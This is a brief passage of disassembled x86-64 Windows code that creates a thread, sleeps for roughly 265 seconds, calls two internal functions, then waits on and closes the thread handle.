call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x98], rax
mov ecx, 0x40f10
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140012aa0
call fcn.140013d10
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0xa8
ret